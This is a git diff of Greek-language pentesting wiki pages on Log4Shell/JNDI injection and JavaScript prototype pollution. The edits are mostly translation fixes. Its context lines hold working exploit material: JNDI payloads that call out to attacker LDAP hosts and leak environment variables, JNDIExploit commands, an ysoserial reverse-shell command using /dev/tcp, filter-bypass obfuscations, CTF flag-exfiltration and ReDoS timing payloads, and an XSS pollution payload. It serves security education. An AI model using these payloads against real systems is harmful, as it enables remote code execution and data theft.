Σημειωτέον, η CORBA δεν είναι εγγενώς ευάλωτη. Η εξασφάλιση της ασφάλειας συνήθως περιλαμβάνει:
|
||||
|
||||
- Εγκατάσταση ενός **Security Manager**.
|
||||
- Ρύθμιση του Security Manager για να επιτρέπει συνδέσεις σε δυνητικά κακόβουλες βάσεις κώδικα. Αυτό μπορεί να επιτευχθεί μέσω:
|
||||
- Ρύθμιση του Security Manager για να επιτρέπει συνδέσεις σε ενδεχομένως κακόβουλες βάσεις κώδικα. Αυτό μπορεί να επιτευχθεί μέσω:
|
||||
- Άδειας socket, π.χ., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||
- Άδειες ανάγνωσης αρχείων, είτε καθολικά (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) είτε για συγκεκριμένους καταλόγους όπου μπορεί να τοποθετηθούν κακόβουλα αρχεία.
|
||||
|
||||
@ -64,7 +64,7 @@ CORBA (Common Object Request Broker Architecture) χρησιμοποιεί μι
|
||||
Εάν η αναζήτηση LDAP κλήθηκε με **SearchControls.setReturningObjFlag() με `true`, τότε το επιστρεφόμενο αντικείμενο θα ανακατασκευαστεί**.
|
||||
|
||||
Επομένως, υπάρχουν αρκετοί τρόποι για να επιτεθεί κανείς σε αυτές τις επιλογές.\
|
||||
Ένας **επιτιθέμενος μπορεί να δηλητηριάσει τα αρχεία LDAP εισάγοντας payloads** σε αυτά που θα εκτελούνται στα συστήματα που τα συλλέγουν (πολύ χρήσιμο για **να παραβιάσει δεκάδες μηχανές** αν έχετε πρόσβαση στον LDAP server). Ένας άλλος τρόπος εκμετάλλευσης αυτού θα ήταν να εκτελέσει μια **επίθεση MitM σε μια αναζήτηση LDAP** για παράδειγμα.
|
||||
Ένας **επιτιθέμενος μπορεί να δηλητηριάσει τις εγγραφές LDAP εισάγοντας payloads** σε αυτές που θα εκτελούνται στα συστήματα που τις συλλέγουν (πολύ χρήσιμο για **να συμβιβάσει δεκάδες μηχανές** αν έχετε πρόσβαση στον LDAP server). Ένας άλλος τρόπος εκμετάλλευσης αυτού θα ήταν να εκτελέσει μια **επίθεση MitM σε μια αναζήτηση LDAP** για παράδειγμα.
|
||||
|
||||
Σε περίπτωση που μπορείτε να **κάνετε μια εφαρμογή να επιλύσει μια JNDI LDAP UR**L, μπορείτε να ελέγξετε τον LDAP που θα αναζητηθεί, και θα μπορούσατε να στείλετε πίσω την εκμετάλλευση (log4shell).
|
||||
|
||||
@ -73,7 +73,7 @@ CORBA (Common Object Request Broker Architecture) χρησιμοποιεί μι
|
||||
.png>)
|
||||
|
||||
Η **εκμετάλλευση είναι σειριοποιημένη** και θα αποσειριοποιηθεί.\
|
||||
Σε περίπτωση που το `trustURLCodebase` είναι `true`, ένας επιτιθέμενος μπορεί να παρέχει τις δικές του κλάσεις στη βάση κώδικα, αλλιώς θα χρειαστεί να εκμεταλλευτεί gadgets στην classpath.
|
||||
Σε περίπτωση που το `trustURLCodebase` είναι `true`, ένας επιτιθέμενος μπορεί να παρέχει τις δικές του κλάσεις στη βάση κώδικα, αλλιώς θα χρειαστεί να εκμεταλλευτεί gadgets στο classpath.
|
||||
|
||||
#### JNDI Reference exploit
|
||||
|
||||
@ -87,7 +87,7 @@ CORBA (Common Object Request Broker Architecture) χρησιμοποιεί μι
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) εισήγαγε μια δυνατότητα αναζήτησης `jndi`. Αυτή η δυνατότητα επιτρέπει την ανάκτηση μεταβλητών μέσω JNDI. Συνήθως, το κλειδί προεπιλέγεται αυτόματα με το `java:comp/env/`. Ωστόσο, εάν το κλειδί περιλαμβάνει ένα **":"**, αυτό το προεπιλεγμένο πρόθεμα δεν εφαρμόζεται.
|
||||
|
||||
Με ένα **: παρόν** στο κλειδί, όπως στο `${jndi:ldap://example.com/a}` δεν υπάρχει **πρόθεμα** και ο **LDAP server ερωτάται για το αντικείμενο**. Και αυτές οι αναζητήσεις μπορούν να χρησιμοποιηθούν τόσο στη ρύθμιση του Log4j όσο και όταν καταγράφονται γραμμές.
|
||||
Με ένα **: παρόν** στο κλειδί, όπως στο `${jndi:ldap://example.com/a}` δεν υπάρχει **πρόθεμα** και ο **LDAP server ερωτάται για το αντικείμενο**. Και αυτές οι αναζητήσεις μπορούν να χρησιμοποιηθούν τόσο στη διαμόρφωση του Log4j όσο και όταν καταγράφονται γραμμές.
|
||||
|
||||
Επομένως, το μόνο που χρειάζεται για να αποκτήσετε RCE είναι μια **ευάλωτη έκδοση του Log4j που επεξεργάζεται πληροφορίες που ελέγχονται από τον χρήστη**. Και επειδή αυτή είναι μια βιβλιοθήκη που χρησιμοποιείται ευρέως από εφαρμογές Java για την καταγραφή πληροφοριών (συμπεριλαμβανομένων των εφαρμογών που είναι εκτεθειμένες στο Διαδίκτυο), ήταν πολύ συνηθισμένο να έχει το log4j να καταγράφει, για παράδειγμα, HTTP headers που λαμβάνονται όπως το User-Agent. Ωστόσο, το log4j **δεν χρησιμοποιείται μόνο για την καταγραφή HTTP πληροφοριών αλλά οποιαδήποτε είσοδο** και δεδομένα που υποδεικνύει ο προγραμματιστής.
|
||||
|
||||
@ -103,7 +103,7 @@ CORBA (Common Object Request Broker Architecture) χρησιμοποιεί μι
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
|
||||
|
||||
Επηρεάζει **εκδόσεις Log4j 1.x** σε μη προεπιλεγμένες ρυθμίσεις που χρησιμοποιούν `JMSAppender`, αυτή η CVE είναι μια ευπάθεια μη αξιόπιστης αποσειριοποίησης. Δεν υπάρχει διαθέσιμη διόρθωση για τον κλάδο 1.x, ο οποίος είναι εκτός υποστήριξης, και συνιστάται η αναβάθμιση σε `log4j-core 2.17.0`.
|
||||
Επηρεάζει **εκδόσεις Log4j 1.x** σε μη προεπιλεγμένες ρυθμίσεις που χρησιμοποιούν `JMSAppender`, αυτή η CVE είναι μια ευπάθεια μη αξιόπιστης αποσειριοποίησης. Δεν είναι διαθέσιμη διόρθωση για τον κλάδο 1.x, ο οποίος είναι εκτός υποστήριξης, και συνιστάται η αναβάθμιση στο `log4j-core 2.17.0`.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
|
||||
|
||||
@ -129,7 +129,7 @@ CORBA (Common Object Request Broker Architecture) χρησιμοποιεί μι
|
||||
- `${jndi:ldap://2j4ayo.dnslog.cn}` (χρησιμοποιώντας [dnslog](http://dnslog.cn))
|
||||
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (χρησιμοποιώντας [huntress](https://log4shell.huntress.com))
|
||||
|
||||
Σημειώστε ότι **ακόμα και αν ληφθεί ένα DNS request αυτό δεν σημαίνει ότι η εφαρμογή είναι εκμεταλλεύσιμη** (ή ακόμα και ευάλωτη), θα χρειαστεί να προσπαθήσετε να την εκμεταλλευτείτε.
|
||||
Σημειώστε ότι **ακόμα και αν ληφθεί ένα DNS request, αυτό δεν σημαίνει ότι η εφαρμογή είναι εκμεταλλεύσιμη** (ή ακόμα και ευάλωτη), θα χρειαστεί να προσπαθήσετε να την εκμεταλλευτείτε.
|
||||
|
||||
> [!NOTE]
|
||||
> Θυμηθείτε ότι για να **εκμεταλλευτείτε την έκδοση 2.15** πρέπει να προσθέσετε την **παράκαμψη ελέγχου localhost**: ${jndi:ldap://**127.0.0.1#**...}
|
||||
@ -207,7 +207,7 @@ Any other env variable name that could store sensitive information
|
||||
> [!NOTE]
|
||||
> Οι υπολογιστές που τρέχουν σε εκδόσεις JDK πάνω από 6u141, 7u131 ή 8u121 είναι προστατευμένοι από την επίθεση φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του `com.sun.jndi.ldap.object.trustURLCodebase`, που εμποδίζει το JNDI να φορτώσει μια απομακρυσμένη βάση κώδικα μέσω LDAP. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι αυτές οι εκδόσεις **δεν είναι προστατευμένες από την επίθεση αποσειριοποίησης**.
|
||||
>
|
||||
> Για τους επιτιθέμενους που στοχεύουν να εκμεταλλευτούν αυτές τις υψηλότερες εκδόσεις JDK, είναι απαραίτητο να εκμεταλλευτούν ένα **έμπιστο gadget** μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτό το σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη καθώς αυτές οι εκδόσεις μπορούν να χειραγωγηθούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
|
||||
> Για τους επιτιθέμενους που στοχεύουν να εκμεταλλευτούν αυτές τις υψηλότερες εκδόσεις JDK, είναι απαραίτητο να εκμεταλλευτούν ένα **έμπιστο gadget** μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη καθώς αυτές οι εκδόσεις μπορούν να χειραγωγηθούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
|
||||
>
|
||||
> Για **περισσότερες πληροφορίες** (_όπως περιορισμούς σε RMI και CORBA vectors_) **ελέγξτε την προηγούμενη ενότητα Αναφοράς Ονομάτων JNDI** ή [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
|
||||
@ -237,7 +237,7 @@ e.printStackTrace();
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**Σημείωση:** Αυτή η εκμετάλλευση βασίζεται στη ρύθμιση του Java για να επιτρέπει τη φόρτωση απομακρυσμένων κωδίκων μέσω LDAP. Αν αυτό δεν είναι επιτρεπτό, σκεφτείτε να εκμεταλλευτείτε μια αξιόπιστη κλάση για αυθαίρετη εκτέλεση κώδικα.
|
||||
**Σημείωση:** Αυτή η εκμετάλλευση εξαρτάται από τη ρύθμιση του Java για να επιτρέπει τη φόρτωση απομακρυσμένων κωδίκων μέσω LDAP. Αν αυτό δεν είναι επιτρεπτό, σκεφτείτε να εκμεταλλευτείτε μια αξιόπιστη κλάση για αυθαίρετη εκτέλεση κώδικα.
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
@ -254,8 +254,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
Μετά την ανάγνωση του κώδικα μόνο για μερικά λεπτά, στο _com.feihong.ldap.LdapServer_ και _com.feihong.ldap.HTTPServer_ μπορείτε να δείτε πώς δημιουργούνται οι **LDAP και HTTP servers**. Ο LDAP server θα καταλάβει ποιο payload πρέπει να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον HTTP server, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.\
|
||||
Στο _com.feihong.ldap.gadgets_ μπορείτε να βρείτε **ορισμένα συγκεκριμένα gadgets** που μπορούν να χρησιμοποιηθούν για να εκτελέσουν την επιθυμητή ενέργεια (πιθανώς να εκτελέσουν αυθαίρετο κώδικα). Και στο _com.feihong.ldap.template_ μπορείτε να δείτε τις διαφορετικές κλάσεις template που θα **δημιουργήσουν τις εκμεταλλεύσεις**.
|
||||
Μετά την ανάγνωση του κώδικα μόνο για μερικά λεπτά, στα _com.feihong.ldap.LdapServer_ και _com.feihong.ldap.HTTPServer_ μπορείτε να δείτε πώς **δημιουργούνται οι διακομιστές LDAP και HTTP**. Ο διακομιστής LDAP θα καταλάβει ποιο payload πρέπει να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον διακομιστή HTTP, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.\
|
||||
Στο _com.feihong.ldap.gadgets_ μπορείτε να βρείτε **ορισμένα συγκεκριμένα gadgets** που μπορούν να χρησιμοποιηθούν για να εκτελέσουν την επιθυμητή ενέργεια (πιθανώς να εκτελέσουν αυθαίρετο κώδικα). Και στο _com.feihong.ldap.template_ μπορείτε να δείτε τις διαφορετικές κλάσεις προτύπων που θα **δημιουργήσουν τις εκμεταλλεύσεις**.
|
||||
|
||||
Μπορείτε να δείτε όλες τις διαθέσιμες εκμεταλλεύσεις με **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Ορισμένες χρήσιμες είναι:
|
||||
```bash
|
||||
@ -275,7 +275,7 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
||||
```
|
||||
Όταν στέλνετε τις επιθέσεις, θα δείτε κάποια έξοδο στο τερματικό όπου εκτελέσατε το **JNDIExploit-1.2-SNAPSHOT.jar**.
|
||||
|
||||
**Θυμηθείτε να ελέγξετε `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειαστείτε, μπορείτε να αλλάξετε την πόρτα των LDAP και HTTP διακομιστών.**
|
||||
**Θυμηθείτε να ελέγξετε το `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειαστείτε, μπορείτε να αλλάξετε την πόρτα των διακομιστών LDAP και HTTP.**
|
||||
|
||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
@ -292,18 +292,18 @@ _Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμ
|
||||
|
||||
### RCE - JNDI-Injection-Exploit-Plus
|
||||
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) είναι ένα άλλο εργαλείο για τη δημιουργία **λειτουργικών JNDI συνδέσμων** και παρέχει υπηρεσίες υποβάθρου ξεκινώντας RMI server, LDAP server και HTTP server.\
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) είναι ένα άλλο εργαλείο για τη δημιουργία **λειτουργικών συνδέσμων JNDI** και παρέχει υπηρεσίες υποβάθρου ξεκινώντας RMI server, LDAP server και HTTP server.\
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Αυτή η επιλογή είναι πραγματικά χρήσιμη για να επιτεθεί σε **εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους**. Επομένως, **ysoserial** θα χρησιμοποιηθεί για να δημιουργήσει **σειριοποιήσεις αξιόπιστων κλάσεων** που μπορούν να χρησιμοποιηθούν ως gadgets για να **εκτελέσουν αυθαίρετο κώδικα** (_η αξιόπιστη κλάση που εκμεταλλεύεται από το ysoserial πρέπει να χρησιμοποιείται από το πρόγραμμα java του θύματος ώστε να λειτουργήσει η εκμετάλλευση_).
|
||||
Αυτή η επιλογή είναι πραγματικά χρήσιμη για να επιτεθεί σε **εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους**. Επομένως, **ysoserial** θα χρησιμοποιηθεί για να δημιουργήσει **σειριοποιήσεις αξιόπιστων κλάσεων** που μπορούν να χρησιμοποιηθούν ως gadgets για **να εκτελέσουν αυθαίρετο κώδικα** (_η αξιόπιστη κλάση που εκμεταλλεύεται από το ysoserial πρέπει να χρησιμοποιείται από το πρόγραμμα java του θύματος προκειμένου να λειτουργήσει η εκμετάλλευση_).
|
||||
|
||||
Χρησιμοποιώντας **ysoserial** ή [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα κατεβεί από το JNDI:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
Χρησιμοποιήστε [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να δημιουργήσετε **JNDI links** όπου η εκμετάλλευση θα περιμένει για συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να σερβίρετε **διαφορετικές εκμεταλλεύσεις που μπορούν να παραχθούν αυτόματα** από το JNDI-Exploit-Kit ή ακόμα και τα **δικά σας payloads αποσυμπίεσης** (παραγόμενα από εσάς ή το ysoserial).
|
||||
Χρησιμοποιήστε [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να δημιουργήσετε **JNDI links** όπου η εκμετάλλευση θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να σερβίρετε **διαφορετικές εκμεταλλεύσεις που μπορούν να παραχθούν αυτόματα** από το JNDI-Exploit-Kit ή ακόμα και τα **δικά σας payloads αποσειριοποίησης** (παραγόμενα από εσάς ή το ysoserial).
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
@ -360,33 +360,33 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
</PatternLayout>
|
||||
</Console>
|
||||
```
|
||||
### Env Lookups
|
||||
### Αναζητήσεις Περιβάλλοντος
|
||||
|
||||
Στο [αυτό το CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) ο επιτιθέμενος έλεγχε την τιμή του `${sys:cmd}` και χρειαζόταν να εξάγει τη σημαία από μια μεταβλητή περιβάλλοντος.\
|
||||
Όπως φαίνεται σε αυτή τη σελίδα στα [**προηγούμενα payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), υπάρχουν διάφοροι τρόποι πρόσβασης σε μεταβλητές περιβάλλοντος, όπως: **`${env:FLAG}`**. Σε αυτό το CTF αυτό ήταν άχρηστο, αλλά μπορεί να μην είναι σε άλλες πραγματικές καταστάσεις.
|
||||
Όπως φαίνεται σε αυτή τη σελίδα στις [**προηγούμενες payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) υπάρχουν διάφοροι τρόποι πρόσβασης σε μεταβλητές περιβάλλοντος, όπως: **`${env:FLAG}`**. Σε αυτό το CTF αυτό ήταν άχρηστο αλλά μπορεί να μην είναι σε άλλες πραγματικές καταστάσεις.
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
### Εξαγωγή σε Εξαιρέσεις
|
||||
|
||||
Στο CTF, **δεν μπορούσες να έχεις πρόσβαση στο stderr** της εφαρμογής java χρησιμοποιώντας log4J, αλλά οι **εξαιρέσεις του Log4J αποστέλλονται στο stdout**, το οποίο εκτυπωνόταν στην εφαρμογή python. Αυτό σήμαινε ότι με την πρόκληση μιας εξαίρεσης μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για να εξάγουμε τη σημαία ήταν: **`${java:${env:FLAG}}`.** Αυτό λειτουργεί επειδή **`${java:CTF{blahblah}}`** δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:
|
||||
Στο CTF, **δεν μπορούσες να έχεις πρόσβαση στο stderr** της εφαρμογής java χρησιμοποιώντας log4J, αλλά οι **εξαιρέσεις Log4J αποστέλλονται στο stdout**, το οποίο εκτυπωνόταν στην εφαρμογή python. Αυτό σήμαινε ότι με την πρόκληση μιας εξαίρεσης μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για να εξάγουμε τη σημαία ήταν: **`${java:${env:FLAG}}`.** Αυτό λειτουργεί γιατί **`${java:CTF{blahblah}}`** δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:
|
||||
|
||||
.png>)
|
||||
|
||||
### Conversion Patterns Exceptions
|
||||
### Εξαιρέσεις Προτύπων Μετατροπής
|
||||
|
||||
Απλώς για να το αναφέρω, θα μπορούσες επίσης να εισάγεις νέα [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) και να προκαλέσεις εξαιρέσεις που θα καταγραφούν στο `stdout`. Για παράδειγμα:
|
||||
Απλώς για να το αναφέρω, θα μπορούσες επίσης να εισάγεις νέα [**πρότυπα μετατροπής**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) και να προκαλέσεις εξαιρέσεις που θα καταγραφούν στο `stdout`. Για παράδειγμα:
|
||||
|
||||
.png>)
|
||||
|
||||
Αυτό δεν βρέθηκε χρήσιμο για να εξάγουμε δεδομένα μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν επιλύθηκε πριν από το conversion pattern, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα όπως η ανίχνευση.
|
||||
Αυτό δεν βρέθηκε χρήσιμο για να εξάγουμε δεδομένα μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν επιλύθηκε πριν από το πρότυπο μετατροπής, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα όπως η ανίχνευση.
|
||||
|
||||
### Conversion Patterns Regexes
|
||||
### Regexes Προτύπων Μετατροπής
|
||||
|
||||
Ωστόσο, είναι δυνατόν να χρησιμοποιήσεις κάποια **conversion patterns που υποστηρίζουν regexes** για να εξάγεις πληροφορίες από μια αναζήτηση χρησιμοποιώντας regexes και κακοποιώντας **δυαδική αναζήτηση** ή **χρονικές** συμπεριφορές.
|
||||
Ωστόσο, είναι δυνατόν να χρησιμοποιήσεις κάποια **πρότυπα μετατροπής που υποστηρίζουν regexes** για να εξάγεις πληροφορίες από μια αναζήτηση χρησιμοποιώντας regexes και κακοποιώντας **δυαδική αναζήτηση** ή **χρονικές** συμπεριφορές.
|
||||
|
||||
- **Δυαδική αναζήτηση μέσω μηνυμάτων εξαίρεσης**
|
||||
|
||||
Το conversion pattern **`%replace`** μπορεί να χρησιμοποιηθεί για να **αντικαταστήσει** **περιεχόμενο** από μια **αλφαριθμητική συμβολοσειρά** ακόμη και χρησιμοποιώντας **regexes**. Λειτουργεί ως εξής: `replace{pattern}{regex}{substitution}`\
|
||||
Κακοποιώντας αυτή τη συμπεριφορά, θα μπορούσες να κάνεις την αντικατάσταση **να προκαλέσει μια εξαίρεση αν το regex ταίριαζε** με οτιδήποτε μέσα στη συμβολοσειρά (και καμία εξαίρεση αν δεν βρεθεί) όπως αυτό:
|
||||
Το πρότυπο μετατροπής **`%replace`** μπορεί να χρησιμοποιηθεί για να **αντικαταστήσει** **περιεχόμενο** από μια **αλφαριθμητική συμβολοσειρά** ακόμη και χρησιμοποιώντας **regexes**. Λειτουργεί ως εξής: `replace{pattern}{regex}{substitution}`\
|
||||
Κακοποιώντας αυτή τη συμπεριφορά θα μπορούσες να κάνεις την αντικατάσταση **να προκαλέσει μια εξαίρεση αν το regex ταίριαζε** με οτιδήποτε μέσα στη συμβολοσειρά (και καμία εξαίρεση αν δεν βρεθεί) όπως αυτό:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
@ -397,7 +397,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
Όπως αναφέρθηκε στην προηγούμενη ενότητα, **`%replace`** υποστηρίζει **regexes**. Έτσι, είναι δυνατόν να χρησιμοποιηθεί payload από τη [**σελίδα ReDoS**](../regular-expression-denial-of-service-redos.md) για να προκαλέσει ένα **timeout** σε περίπτωση που βρεθεί η σημαία.\
|
||||
Για παράδειγμα, ένα payload όπως το `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` θα ενεργοποιούσε ένα **timeout** σε αυτή την CTF.
|
||||
|
||||
Σε αυτή την [**αναφορά**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), αντί να χρησιμοποιηθεί μια επίθεση ReDoS, χρησιμοποιήθηκε μια **επίθεση ενίσχυσης** για να προκαλέσει μια διαφορά χρόνου στην απόκριση:
|
||||
Σε αυτή την [**αναφορά**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), αντί να χρησιμοποιηθεί μια επίθεση ReDoS, χρησιμοποιήθηκε μια **επίθεση ενίσχυσης** για να προκαλέσει μια διαφορά χρόνου στην απάντηση:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
@ -414,7 +414,6 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> Αν η σημαία ξεκινά με `flagGuess`, η ολόκληρη σημαία αντικαθίσταται με 29 `#`-s (χρησιμοποίησα αυτό το χαρακτήρα γιατί πιθανότατα δεν θα είναι μέρος της σημαίας). **Κάθε ένα από τα 29 `#`-s αντικαθίσταται στη συνέχεια με 54 `#`-s**. Αυτή η διαδικασία επαναλαμβάνεται **6 φορές**, οδηγώντας σε ένα σύνολο ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
|
@ -43,9 +43,9 @@ employee1.__proto__
|
||||
|
||||
Πρέπει να σημειωθεί ότι όταν μια ιδιότητα προστεθεί σε ένα αντικείμενο που χρησιμεύει ως το πρωτότυπο για άλλα αντικείμενα (όπως το `myPersonObj`), τα κληρονομικά αντικείμενα αποκτούν πρόσβαση σε αυτή τη νέα ιδιότητα. Ωστόσο, αυτή η ιδιότητα δεν εμφανίζεται αυτόματα εκτός αν προσκληθεί ρητά.
|
||||
|
||||
## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
|
||||
## \_\_proto\_\_ ρύπανση <a href="#id-0d0a" id="id-0d0a"></a>
|
||||
|
||||
## Εξερεύνηση της Ρύπανσης Πρωτοτύπων στην JavaScript
|
||||
## Εξερεύνηση Ρύπανσης Πρωτοτύπων στην JavaScript
|
||||
|
||||
Τα αντικείμενα JavaScript ορίζονται από ζεύγη κλειδιού-τιμής και κληρονομούν από το πρωτότυπο Αντικειμένου της JavaScript. Αυτό σημαίνει ότι η τροποποίηση του πρωτοτύπου Αντικειμένου μπορεί να επηρεάσει όλα τα αντικείμενα στο περιβάλλον.
|
||||
|
||||
@ -76,7 +76,7 @@ car1.announce() // Outputs "Beep beep!"
|
||||
car1.__proto__.__proto__.isVehicle = true
|
||||
console.log(car1.isVehicle) // Outputs true
|
||||
```
|
||||
## μόλυνση πρωτοτύπου
|
||||
## πρωτότυπη ρύπανση
|
||||
|
||||
Για ένα σενάριο όπου η χρήση του `__proto__` είναι περιορισμένη, η τροποποίηση του πρωτοτύπου μιας συνάρτησης είναι μια εναλλακτική:
|
||||
```javascript
|
||||
@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
|
||||
```
|
||||
### Ρύπανση στοιχείων πίνακα
|
||||
|
||||
Σημειώστε ότι καθώς μπορείτε να ρυπαίνετε τις ιδιότητες των αντικειμένων σε JS, αν έχετε πρόσβαση για να ρυπάτε έναν πίνακα μπορείτε επίσης να **ρυπαίνετε τις τιμές του πίνακα** που είναι προσβάσιμες **μέσω δεικτών** (σημειώστε ότι δεν μπορείτε να αντικαταστήσετε τιμές, οπότε πρέπει να ρυπάρετε δείκτες που χρησιμοποιούνται με κάποιον τρόπο αλλά δεν γράφονται).
|
||||
Σημειώστε ότι καθώς μπορείτε να ρυπαίνετε τις ιδιότητες των αντικειμένων σε JS, αν έχετε πρόσβαση για να ρυπάτε έναν πίνακα μπορείτε επίσης να **ρυπάτε τις τιμές του πίνακα** που είναι προσβάσιμες **μέσω δεικτών** (σημειώστε ότι δεν μπορείτε να αντικαταστήσετε τιμές, οπότε πρέπει να ρυπάτε δείκτες που χρησιμοποιούνται με κάποιον τρόπο αλλά δεν γράφονται).
|
||||
```javascript
|
||||
c = [1, 2]
|
||||
a = []
|
||||
@ -177,7 +177,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
||||
```javascript
|
||||
if (user.admin) {
|
||||
```
|
||||
Αν το χαρακτηριστικό **`admin` είναι μη καθορισμένο** είναι δυνατόν να εκμεταλλευτείτε ένα PP και να το ορίσετε σε True με κάτι σαν:
|
||||
Αν το χαρακτηριστικό **`admin` είναι μη καθορισμένο** είναι δυνατόν να εκμεταλλευτείτε ένα PP και να το ορίσετε σε True με κάτι όπως:
|
||||
```javascript
|
||||
Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
@ -213,16 +213,16 @@ client-side-prototype-pollution.md
|
||||
|
||||
### CVE-2019–11358: Επίθεση πρωτοτύπου μέσω jQuery $ .extend
|
||||
|
||||
